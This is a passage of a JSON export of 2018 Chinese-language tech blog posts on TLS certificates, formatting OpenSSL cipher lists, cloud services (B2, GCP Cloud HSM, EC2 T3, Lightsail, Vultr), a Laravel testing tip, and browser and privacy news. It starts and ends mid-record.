    "body": "因為前一篇「<a href=\"https://blog.gslin.org/archives/2018/08/14/8444/symantec-%E7%B3%BB%E5%88%97%E7%9A%84-ssl-certificate-%E9%99%B8%E7%BA%8C%E9%96%8B%E5%A7%8B%E5%A4%B1%E6%95%88/\">Symantec 系列的 SSL Certificate 陸續開始失效...</a>」的關係，當時是針對 針對 <code>.tw</code> 結尾的站台，用 <a href=\"https://www.openssl.org/\">OpenSSL</a> 掃了一份 <code>issuer=</code> 下來，剛好可以拿來翻一下有誰換去 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 了...\r\n\r\n蝦皮的主站台直接都用 Let's Encrypt 了：\r\n\r\n<pre>host=shopee.tw  issuer=/C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3\r\nhost=www.shopee.tw      issuer=/C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3</pre>\r\n\r\n然後在「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=shopee.tw\">SSL Server Test: shopee&#46;tw (Powered by Qualys SSL Labs)</a>」這邊可以看到是 wildcard，而且是多個 wildcard 合併一張...\r\n\r\n如果把 Let's Encrypt 自動化，省下來最多的通常都不是憑證費用，而是 renew 時請款流程的人力成本與忘記 renew 時的出包成本... XD",
    "title": "國內使用 Let's Encrypt 的商業網站..."
  },
  {
    "id": "8446",
    "body": "在 <a href=\"https://engineering.linecorp.com/\">LINE Engineering Blog</a> 上看到「<a href=\"https://engineering.linecorp.com/ja/blog/detail/350\">Best practices to secure your SSL/TLS Implementation</a>」這篇，標題是英文但內文全部都是日文的文章，想說翻一下看看到底是怎麼一回事，然後看到這個有趣的指令...\r\n\r\n首先先用 <code>openssl ciphers -v AESGCM</code>，可以看到排不整齊的 cipher 列表：\r\n\r\n<pre>ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD\r\nECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nDHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD\r\nDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nADH-AES256-GCM-SHA384   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(256) Mac=AEAD\r\nECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD\r\nECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nDHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD\r\nDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nADH-AES128-GCM-SHA256   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(128) Mac=AEAD\r\nRSA-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nDHE-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(256) Mac=AEAD\r\nAES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nPSK-AES256-GCM-SHA384   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(256) Mac=AEAD\r\nRSA-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nDHE-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(128) Mac=AEAD\r\nAES128-GCM-SHA256       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nPSK-AES128-GCM-SHA256   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(128) Mac=AEAD</pre>\r\n\r\n而想用 tab 替換掉空白，讓輸出整齊一些，用 <code>openssl ciphers -v AESGCM | sed -E 's/ +/\\t/g'</code> 看起來比原來好一些，但還是有點亂 (因為 tab 換 8 spaces 的關係)：\r\n\r\n<pre>ECDHE-ECDSA-AES256-GCM-SHA384   TLSv1.2 Kx=ECDH Au=ECDSA        Enc=AESGCM(256) Mac=AEAD\r\nECDHE-RSA-AES256-GCM-SHA384     TLSv1.2 Kx=ECDH Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nDHE-DSS-AES256-GCM-SHA384       TLSv1.2 Kx=DH   Au=DSS  Enc=AESGCM(256) Mac=AEAD\r\nDHE-RSA-AES256-GCM-SHA384       TLSv1.2 Kx=DH   Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nADH-AES256-GCM-SHA384   TLSv1.2 Kx=DH   Au=None Enc=AESGCM(256) Mac=AEAD\r\nECDHE-ECDSA-AES128-GCM-SHA256   TLSv1.2 Kx=ECDH Au=ECDSA        Enc=AESGCM(128) Mac=AEAD\r\nECDHE-RSA-AES128-GCM-SHA256     TLSv1.2 Kx=ECDH Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nDHE-DSS-AES128-GCM-SHA256       TLSv1.2 Kx=DH   Au=DSS  Enc=AESGCM(128) Mac=AEAD\r\nDHE-RSA-AES128-GCM-SHA256       TLSv1.2 Kx=DH   Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nADH-AES128-GCM-SHA256   TLSv1.2 Kx=DH   Au=None Enc=AESGCM(128) Mac=AEAD\r\nRSA-PSK-AES256-GCM-SHA384       TLSv1.2 Kx=RSAPSK       Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nDHE-PSK-AES256-GCM-SHA384       TLSv1.2 Kx=DHEPSK       Au=PSK  Enc=AESGCM(256) Mac=AEAD\r\nAES256-GCM-SHA384       TLSv1.2 Kx=RSA  Au=RSA  Enc=AESGCM(256) Mac=AEAD\r\nPSK-AES256-GCM-SHA384   TLSv1.2 Kx=PSK  Au=PSK  Enc=AESGCM(256) Mac=AEAD\r\nRSA-PSK-AES128-GCM-SHA256       TLSv1.2 Kx=RSAPSK       Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nDHE-PSK-AES128-GCM-SHA256       TLSv1.2 Kx=DHEPSK       Au=PSK  Enc=AESGCM(128) Mac=AEAD\r\nAES128-GCM-SHA256       TLSv1.2 Kx=RSA  Au=RSA  Enc=AESGCM(128) Mac=AEAD\r\nPSK-AES128-GCM-SHA256   TLSv1.2 Kx=PSK  Au=PSK  Enc=AESGCM(128) Mac=AEAD</pre>\r\n\r\n用 <code>openssl ciphers -v AESGCM | column -t</code> 看起來效果是最好的：\r\n\r\n<pre>ECDHE-ECDSA-AES256-GCM-SHA384  TLSv1.2  Kx=ECDH    Au=ECDSA  Enc=AESGCM(256)  Mac=AEAD\r\nECDHE-RSA-AES256-GCM-SHA384    TLSv1.2  Kx=ECDH    Au=RSA    Enc=AESGCM(256)  Mac=AEAD\r\nDHE-DSS-AES256-GCM-SHA384      TLSv1.2  Kx=DH      Au=DSS    Enc=AESGCM(256)  Mac=AEAD\r\nDHE-RSA-AES256-GCM-SHA384      TLSv1.2  Kx=DH      Au=RSA    Enc=AESGCM(256)  Mac=AEAD\r\nADH-AES256-GCM-SHA384          TLSv1.2  Kx=DH      Au=None   Enc=AESGCM(256)  Mac=AEAD\r\nECDHE-ECDSA-AES128-GCM-SHA256  TLSv1.2  Kx=ECDH    Au=ECDSA  Enc=AESGCM(128)  Mac=AEAD\r\nECDHE-RSA-AES128-GCM-SHA256    TLSv1.2  Kx=ECDH    Au=RSA    Enc=AESGCM(128)  Mac=AEAD\r\nDHE-DSS-AES128-GCM-SHA256      TLSv1.2  Kx=DH      Au=DSS    Enc=AESGCM(128)  Mac=AEAD\r\nDHE-RSA-AES128-GCM-SHA256      TLSv1.2  Kx=DH      Au=RSA    Enc=AESGCM(128)  Mac=AEAD\r\nADH-AES128-GCM-SHA256          TLSv1.2  Kx=DH      Au=None   Enc=AESGCM(128)  Mac=AEAD\r\nRSA-PSK-AES256-GCM-SHA384      TLSv1.2  Kx=RSAPSK  Au=RSA    Enc=AESGCM(256)  Mac=AEAD\r\nDHE-PSK-AES256-GCM-SHA384      TLSv1.2  Kx=DHEPSK  Au=PSK    Enc=AESGCM(256)  Mac=AEAD\r\nAES256-GCM-SHA384              TLSv1.2  Kx=RSA     Au=RSA    Enc=AESGCM(256)  Mac=AEAD\r\nPSK-AES256-GCM-SHA384          TLSv1.2  Kx=PSK     Au=PSK    Enc=AESGCM(256)  Mac=AEAD\r\nRSA-PSK-AES128-GCM-SHA256      TLSv1.2  Kx=RSAPSK  Au=RSA    Enc=AESGCM(128)  Mac=AEAD\r\nDHE-PSK-AES128-GCM-SHA256      TLSv1.2  Kx=DHEPSK  Au=PSK    Enc=AESGCM(128)  Mac=AEAD\r\nAES128-GCM-SHA256              TLSv1.2  Kx=RSA     Au=RSA    Enc=AESGCM(128)  Mac=AEAD\r\nPSK-AES128-GCM-SHA256          TLSv1.2  Kx=PSK     Au=PSK    Enc=AESGCM(128)  Mac=AEAD</pre>",
    "title": "用 column -t 排版..."
  },
  {
    "id": "8447",
    "body": "來講個 <a href=\"https://www.backblaze.com/\">Backblaze</a> 放出來一陣子的功能：「<a href=\"https://www.backblaze.com/blog/b2-application-keys/\">What’s New In B2: Application Keys + Java SDK</a>」。\r\n\r\n<a href=\"https://www.backblaze.com/b2/\">B2</a> 的價位很便宜 (單位成本比 <a href=\"https://aws.amazon.com/s3/\">S3</a> 低不少)，加上前 10 GB 屬於 free tier 不收費，拿來丟一些資料還蠻方便的。\r\n\r\n以往的 B2 在 API 操作只提供一把 master key，安全性上需要很小心，只要被攻陷就直接打穿了，現在則是提供 application key 操作，但不像 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 那樣可以在一個 key 上設很多權限。B2 提供的架構很簡單，只能針對一個 bucket 設定權限。這應該是解決 B2 最常見的情境？也就是需要在各機器上分別備份...\r\n\r\n另外摸索了一陣子後才確認用法，在文章的 comment 有提到：\r\n\r\n<blockquote>You use the ApplicationKeyID with the ApplicationKey, and not the account ID, per the b2_authorize_account documentation.\r\n\r\nIn a sense, the master key is a special case of this: the AccountID is the ‘key ID’ for the master key.</blockquote>\r\n\r\n也就是產生 application key 的時候會給你 secret key 以外，也會給你另外一組 key id，要用這兩個傳入呼叫 API，所有的操作都會受到限制。\r\n\r\n關於備份的工具，大家蠻常用 <a href=\"https://rclone.org/\">rclone</a> 的，主要是因為他可以加密再丟上去，讓 Backblaze 沒辦法直接存取內容。而 rclone 在 Ubuntu 18.04 可以 apt 直接裝，先前的版本則需要透過 snap 裝 (實在不愛 snap...)，不過看起來還需要新版才會支援 application key。\r\n\r\n過陣子來把現有的 master key 換一換...",
    "title": "B2 的 Application Key"
  },
  {
    "id": "8449",
    "body": "這算是 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 在補產品線，讓那些有強制使用 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">HSM</a> 的需求的應用 (通常是遇到一定要 <a href=\"https://en.wikipedia.org/wiki/FIPS_140-2\">FIPS 140-2</a> 的規範) 可以搬上雲端：「<a href=\"https://cloud.google.com/blog/products/identity-security/introducing-cloud-hsm-beta-for-hardware-crypto-key-security\">Introducing Cloud HSM beta for hardware crypto key security</a>」。\r\n\r\n從圖片上可以看到 LiquidSecurity，應該是「<a href=\"https://www.cavium.com/product-liquidsecurity.html\">LiquidSecurity® General Purpose HSM Adapters and Appliances</a>」這個產品：\r\n\r\n<img src=\"https://i.gslin.com/imgur/e3BWBsO.jpg\" alt=\"\" />\r\n\r\n如同 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/cloudhsm/\">CloudHSM</a> 服務，GCP 的 Cloud HSM 也是提供 FIPS 140-2 Level 3：\r\n\r\n<blockquote>Cloud HSM allows you to host encryption keys and perform cryptographic operations in FIPS 140-2 Level 3 certified HSMs (shown below).</blockquote>\r\n\r\n演算法上，支援 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>、<a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 與 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> (NIST 的 P-256 與 <a href=\"https://en.wikipedia.org/wiki/P-384\">P-384</a>)：\r\n\r\n<blockquote>In addition to symmetric key encryption using AES-256 keys, you can now create various types of asymmetric keys for decryption or signing operations, which means that you can now store your keys used for PKI or code signing in a Google Cloud managed keystore. Specifically, RSA 2048, RSA 3072, RSA 4096, EC P256, and EC P384 keys will be available for signing operations, while RSA 2048, RSA 3072, and RSA 4096 keys will also have the ability to decrypt blocks of data.</blockquote>\r\n\r\n目前只支援 <code>us-east1</code> 與 <code>us-west1</code>，另外價錢也比軟體服務版本的 <a href=\"https://cloud.google.com/kms/\">Cloud KMS</a> 貴不少：\r\n\r\n<table>\r\n<tr><th>Billable item</th><th>For keys with protection level SOFTWARE</th><th>For keys with protection level HSM</th></tr>\r\n<tr><td>Active AES-256 and RSA 2048 key versions</td><td>$0.06 per month</td><td>$1.00 per month</td></tr>\r\n<tr><td>Active RSA 3072, RSA 4096 or Elliptic Curve key versions</td><td>$0.06 per month</td><td>$2.50 per month for the first 2,000<br/>$1.00 per month thereafter</td></tr>\r\n<tr><td>Destroyed key versions</td><td>Free</td><td>Free</td></tr>\r\n<tr><td>Key operations: Cryptographic</td><td>$0.03 per 10,000 operations</td><td>$0.03 per 10,000 operations for AES-256 and RSA 2048 keys<br/>$0.15 per 10,000 operations for RSA 3072, RSA 4096, and Elliptic Curve keys</td></tr>\r\n<tr><td>Key operations: Admin</td><td>Free</td><td>Free</td></tr>\r\n</table>\r\n\r\n不過一般情況應該不會得用 CloudHSM，先有個印象就好...",
    "title": "GCP 推出 Cloud HSM (beta)"
  },
  {
    "id": "8451",
    "body": "這兩天又遇到一次，這應該是 <a href=\"https://laravel.com/\">Laravel</a> 裡設計比較奇怪的地方，既然是跑 <a href=\"https://phpunit.de/\">PHPUnit</a> 的環境，為什麼不預設在錯誤發生時把完整的 stack 拋到 console...\r\n\r\n這邊的解法是參考「<a href=\"https://stackoverflow.com/questions/41945622/laravel-how-to-enable-stacktrace-error-on-phpunit\">Laravel: How to enable stacktrace error on PhpUnit</a>」這篇的解答。\r\n\r\n舊版需要自己丟 handler 進去 (5.4 以及之前的版本)，在 5.5+ (寫這篇時最新的穩定版本已經是 5.6) 有內建 <code>withoutExceptionHandling()</code> 可以用，所以在 <code>tests/TestCase.php</code> 內搞定 <code>setUp()</code>：\r\n\r\n<pre>\r\n    protected function setUp()\r\n    {\r\n        parent::setUp();\r\n        $this->withoutExceptionHandling();\r\n    }\r\n</pre>\r\n\r\n不知道有沒有機會直接進 Laravel 的 package 設定裡面...",
    "title": "讓 Laravel 的 PHPUnit 在發生錯誤時把 Stack 丟出來"
  },
  {
    "id": "8452",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出新的 family type，T3 系列了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/08/introducing-amazon-ec2-t3-instances/\">Introducing Amazon EC2 T3 Instances</a>」。\r\n\r\n官方宣稱比 T2 系列的機器快 30%：\r\n\r\n<blockquote>T3 instances also feature the latest 2.5 GHz Intel Xeon Scalable processors which combined with the AWS Nitro System result in up to a 30% better price to performance improvement over T2 instances.</blockquote>\r\n\r\n另外 T3 低階系列的機器 (<code>t3.nano</code>、<code>t3.micro</code>、<code>t3.small</code>) 都是 2 vCPU 了，而且「CPU credits earned per hour」是原來的兩倍，但 <code>t3.medium</code> 與 <code>t3.large</code> 就跟原來一樣了，而再更大台的 <code>t3.xlarge</code> 與 <code>t3.2xlarge</code> 又比較大了... (參考「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/t2-credits-baseline-concepts.html\">CPU Credits and Baseline Performance</a>」)\r\n\r\n另外是價錢上的差異，T3 的單價反而比 T2 低了一些：以 <code>us-east-1</code> 來看，<code>t3.nano</code> 是 USD$0.0052/hr，而 <code>t2.nano</code> 則是 USD$0.0058/hr，大約是 10% 的差距。\r\n\r\nReserved Instance 也是類似的情況，<code>t3.nano</code> 是 USD$27/y 與 USD$51/3y，<code>t2.nano</code> 則是 USD$29/y 與 USD$57/3y。\r\n\r\n這次發佈把台灣團隊常用的區域都納入了，包括了北美的 <code>us-east-1</code> (北維吉尼亞)、<code>us-west-2</code> (奧勒崗) 與亞洲的 <code>ap-northeast-1</code> (東京)、<code>ap-southeast-1</code> (新加坡)：\r\n\r\n<blockquote>Amazon EC2 T3 Instances are available immediately in the US East (N. Virginia), US East (Ohio), US West (N. California), US West (Oregon), Canada (Central), Asia Pacific (Singapore), Asia Pacific (Sydney), Asia Pacific (Tokyo), Europe (Frankfurt), Europe (Ireland), Europe (London), and South America (Sao Paulo) AWS Regions.</blockquote>\r\n\r\n現有的機器都可以考慮換過去了... 這也是買三年 RI 最好的時機了 XD",
    "title": "Amazon EC2 推出 T3 系列機器了..."
  },
  {
    "id": "8454",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 提供的 <code>1.1.1.1</code> 與 <code>1.0.0.1</code> 也提供 purge 功能了，在 <a href=\"https://cloudflare-dns.com/purge-cache/\">https://cloudflare-dns.com/purge-cache/</a> 這邊：「<a href=\"https://blog.cloudflare.com/refresh-stale-dns-records-on-1-1-1-1/\">Refresh Stale DNS Records on 1.1.1.1</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/xhHwH7g.gif\" alt=\"\" />\r\n\r\n跟 <a href=\"https://www.google.com/\">Google</a> 的類似：「<a href=\"https://developers.google.com/speed/public-dns/cache\">Flush Cache | Public DNS | Google Developers</a>」。不小心弄錯東西，有需要 purge 的時候還蠻方便的...",
    "title": "Cloudflare 的 DNS Resolver 也提供 Purge 功能了"
  },
  {
    "id": "8455",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 的相容 Docker Image，讓開發者可以在本地端測試 DynamoDB 的 API：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/08/use-amazon-dynamodb-local-more-easily-with-the-new-docker-image/\">Use Amazon DynamoDB Local More Easily with the New Docker Image</a>」，在 <a href=\"https://hub.docker.com/r/amazon/dynamodb-local/\">amazon/dynamodb-local</a> 這邊可以拉到，裡面其實是包 Java：\r\n\r\n<blockquote>DynamoDB local is now available to download as a self-contained Docker image or a .jar file that can run on Microsoft Windows, Linux, macOS, and other platforms that support Java.</blockquote>\r\n\r\n這樣在 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">Continuous Integration</a> (CI) 的過程裡面也可以拉起 service 測試...",
    "title": "Amazon DynamoDB 提供 Docker Image 讓開發者可以在本地端測試"
  },
  {
    "id": "8456",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Onavo\">Onavo</a> 是個提供 VPN 服務的公司，跟一般的 VPN 服務一樣，以隱私為主打，後來在 2013 年被 <a href=\"https://www.facebook.com/\">Facebook</a> 買下，但在今年三月的時候就有媒體有報導 Facebook 打算蒐集 Onavo 上的資料：「<a href=\"https://techcrunch.com/2018/03/09/facebook-owned-onavo-quietly-launches-bolt-app-lock-a-data-tracking-app-that-locks-other-apps/\">Facebook-owned Onavo quietly launches Bolt App Lock, a data-tracking app that locks other apps</a>」，當時 Facebook 不怎麼鳥各家媒體的看法，就放著...\r\n\r\n不過直到八月的時候才被 <a href=\"https://www.apple.com/\">Apple</a> 下架：「<a href=\"https://techcrunch.com/2018/08/22/apple-facebook-onavo/\">Apple removed Facebook’s Onavo from the App Store for gathering app data</a>」，引用 Apple 發言人給 <a href=\"https://techcrunch.com/\">TechCrunch</a> 的句子：\r\n\r\n<blockquote>We work hard to protect user privacy and data security throughout the Apple ecosystem. With the latest update to our guidelines, we made it explicitly clear that apps should not collect information about which other apps are installed on a user’s device for the purposes of analytics or advertising/marketing and must make it clear what user data will be collected and how it will be used.</blockquote>\r\n\r\n看起來是直接改遊戲規則後強迫下架...",
    "title": "蘋果以隱私為由，下掉 Facebook 在 App Store 上的 Onavo App"
  },
  {
    "id": "8457",
    "body": "<a href=\"https://aws.amazon.com/lightsail/\">Amazon Lightsail</a> 是個 <a href=\"https://aws.amazon.com/\">AWS</a> 推出的 VPS 服務，把 AWS 內的一堆服務包成一包後拿出來跟 VPS 競爭... 在剛推出的時候，價錢上還蠻有競爭性的，但後來隨著時間推進，讓整個市場都陸陸續續降價後就不太行了。\r\n\r\n但剛剛看到 Lightsail 宣佈降價，1GB 以上的機器都直接降 50%，差不多接近市場行情了 (參考 <a href=\"https://www.linode.com/\">Linode</a>、<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 與 <a href=\"https://www.vultr.com/\">Vultr</a> 這三家的價錢)：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-lightsail-update-more-instance-sizes-and-price-reductions/\">Amazon Lightsail Update – More Instance Sizes and Price Reductions</a>」。\r\n\r\n這一降讓 Lightsail 變成最划算的 VPS 了，因為以 1GB RAM 的機器來看，價錢都一樣，但空間變成 40GB (其他都是 25GB)，而且流量多了一倍 (2TB，其他家都是 1TB)。\r\n\r\n好像可以考慮把 blog + wiki 這台換過去看看...",
    "title": "Amazon Lightsail 降價..."
  },
  {
    "id": "8458",
    "body": "不知道是不是各種網站註冊的比較少，好像有陣子沒看到這種出包信了... 都是 template variable XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WhWwuDR.webp\" /><img src=\"https://i.gslin.com/imgur/WhWwuDR.jpg\" alt=\"\" /></picture>",
    "title": "Rackspace Cloud Support 的出包信..."
  },
  {
    "id": "8459",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2018/08/24/8457/amazon-lightsail-%E9%99%8D%E5%83%B9/\">Amazon Lightsail 降價...</a>」這篇文章提到了 <a href=\"https://aws.amazon.com/lightsail/\">Lightsail</a> 這波降價還蠻有競爭力的，但之前看過「<a href=\"https://www.reddit.com/r/aws/comments/5iw7gx/is_the_fact_that_lightsail_instances_are_just/\">Is the fact that Lightsail instances are just renamed T2 instances that run on CPU credits actually documented anywhere?</a>」這篇，大概知道 Lightsail 後面其實就是 <code>t2</code> 系列的機器，只是在這次 <code>t3</code> 出來後的改版不知道有沒有順便一起改...\r\n\r\n前幾天直接把 blog + wiki 整個搬過去看看。本來在 <a href=\"https://www.vultr.com/\">Vultr</a> 的主機是 1GB RAM，就挑了對應的方案搬過去... 如果還是 <code>t2</code> 的話，應該就會是 <code>t2.micro</code> 的機器。\r\n\r\n由於搬家前面一天都在弄各種環境，所以應該累積了不少 CPU credit，實際的情況還是要等 DNS 指過來超過一天後才會知道。在剛剛跑了一整天，把 CPU credit 吃差不多後確認了，應該還是 <code>t2.micro</code>，baseline 在 10% (被降速了)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fvpoV8s.webp\" /><img src=\"https://i.gslin.com/imgur/fvpoV8s.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lrjQPtE.webp\" /><img src=\"https://i.gslin.com/imgur/lrjQPtE.jpg\" alt=\"\" /></picture>\r\n\r\n這樣的話就維持在 Vultr 好了... CPU 資源看起來還是用超過了。",
    "title": "Amazon Lightsail 試用兩天的心得..."
  },
  {
    "id": "8460",
    "body": "在「<a href=\"https://www.androidpolice.com/2018/08/23/chrome-android-may-start-disabling-javascript-2g-connections/\">Chrome for Android may start disabling JavaScript on 2G connections</a>」這邊看到的，引用的文章是 <a href=\"https://www.xda-developers.com/\">XDA</a> 的「<a href=\"https://www.xda-developers.com/google-chrome-android-disable-javascript-2g-connections/\">Google Chrome on Android to disable JavaScript automatically on 2G connections</a>」。\r\n\r\n在「<a href=\"https://www.chromestatus.com/feature/4775088607985664\">Disable scripts for Data Saver users on slow connections</a>」這邊可以看到 <a href=\"https://www.android.com/\">Android</a> 的計畫，在打開 Data Saver 的情況下，Chrome 會停用 JavaScript，並且提示使用者：\r\n\r\n<blockquote>If a Data Saver user is on a 2G-speed or slower network according to the NetInfo API, Chrome disables scripts and sends an intervention header on every resource request. Users are shown a UI at the bottom of the screen indicating the page has been modified to save data. Users can enable scripts on the page by tapping “Show original” in the UI.</blockquote>\r\n\r\n在「<a href=\"https://chromium-review.googlesource.com/c/chromium/src/+/1185369\">Enabled NoScript Preview feature by default on Android</a>」這邊可以看到對應的程式修改。\r\n\r\n這樣反而可以少收到很多廣告耶，反倒希望是全域打開 XDDD",
    "title": "Android 打算針對 Data Saver + 2G 網路的使用者關閉 JavaScript 功能"
  },
  {
    "id": "8462",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.vultr.com/\">Vultr</a> 推出了 USD$3.5/month 的方案：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Introducing our newest 512MB, 20GB SSD, 1 x IPv4 Address VC2 Plan at just $3.50!  Available now in 15 locations around the globe!  Deploy today at <a href=\"https://t.co/Sk0VT8VOM9\">https://t.co/Sk0VT8VOM9</a> <a href=\"https://twitter.com/hashtag/cloud?src=hash&amp;ref_src=twsrc%5Etfw\">#cloud</a> <a href=\"https://twitter.com/hashtag/vps?src=hash&amp;ref_src=twsrc%5Etfw\">#vps</a> <a href=\"https://t.co/whKZnt0aFM\">pic.twitter.com/whKZnt0aFM</a></p>&mdash; Vultr (@Vultr) <a href=\"https://twitter.com/Vultr/status/1034494238355017728?ref_src=twsrc%5Etfw\">August 28, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這規格與價錢明顯就是對 <a href=\"https://aws.amazon.com/lightsail/\">Amazon Lightsail</a> 的新方案反應...\r\n\r\n最早的時候 Vultr 提供了 USD$2.5/month 的類似方案，但後來限制到只有紐約與邁阿密有，最近則是限制到只有 IPv6 address 沒有 IPv4 address (會需要靠 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 這類服務幫忙 proxy)，而且限制只能開兩台。\r\n\r\n這次推出的方案跟 USD$2.5/month 的規格一樣，不過是有 IPv4 address，所以多了 USD$1/month。",
    "title": "Vultr 推出 $3.5/m 的方案"
  },
  {
    "id": "8463",
    "body": "先前 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 在今年二月的時候公佈了台北第一個開放的接點，是方的麗源機房 (Chief Telecom LY, Taipei, Taiwan，參考「<a href=\"https://blog.gslin.org/archives/2018/02/09/8135/aws-%E5%85%AC%E9%96%8B%E4%BA%86%E5%9C%A8%E5%8F%B0%E5%8C%97%E7%9A%84-direct-connect-%E6%8E%A5%E5%8F%A3/\">AWS 公開了在台北的 Direct Connect 接口</a>」)，現在公佈第二個點了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/08/new-aws-direct-connect-locations-paris-taipei/\">New AWS Direct Connect locations in Paris and Taipei</a>」。\r\n\r\n第二個點在中華電信的機房 (Chunghwa Telecom, Taipei, Taiwan)，但這樣只這樣標，不知道實際上是哪個，會不會是愛國東路的國分機房？那邊有不少非中華電信網路的客戶，只是租那邊的機房在用...\r\n\r\n不過有需求的可以問一下 <a href=\"https://aws.amazon.com/\">AWS</a>，應該就會有答案了，畢竟總是得讓客戶知道要接到哪邊...",
    "title": "AWS Direct Connect 在台北又增加可以接的機房了..."
  },
  {
    "id": "8465",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I see Chrome Canary v70 is trialing the removal of EV-SSL company names, wonder if that will make it into the final release? <a href=\"https://twitter.com/troyhunt?ref_src=twsrc%5Etfw\">@troyhunt</a> <a href=\"https://t.co/u8KkDZHPGm\">pic.twitter.com/u8KkDZHPGm</a></p>&mdash; Si (@west_mill) <a href=\"https://twitter.com/west_mill/status/1034828320561614850?ref_src=twsrc%5Etfw\">August 29, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不知道是什麼背景決定做這個實驗... 盯一下這個消息的後續發展 @_@",
    "title": "Google Chrome 70 在測試移除 EV SSL 的名稱標籤..."
  },
  {
    "id": "8467",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.python.org/\">Python</a> 3 內建的 <code>lru_cache()</code>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">One of my favorite Python 3 builtins is functools.lru_cache(): with a simple decorator, repeated function calls become O(1) table lookups. <a href=\"https://t.co/ORphGWvkCz\">https://t.co/ORphGWvkCz</a> <a href=\"https://t.co/NmYVIxO9mE\">pic.twitter.com/NmYVIxO9mE</a></p>&mdash; Jake VanderPlas (@jakevdp) <a href=\"https://twitter.com/jakevdp/status/1027298136178319360?ref_src=twsrc%5Etfw\">August 8, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n從文件上可以看到預設值是 128 個：\r\n\r\n<pre>@functools.lru_cache(maxsize=128, typed=False)</pre>\r\n\r\ntweet 裡面有討論到 memory leak 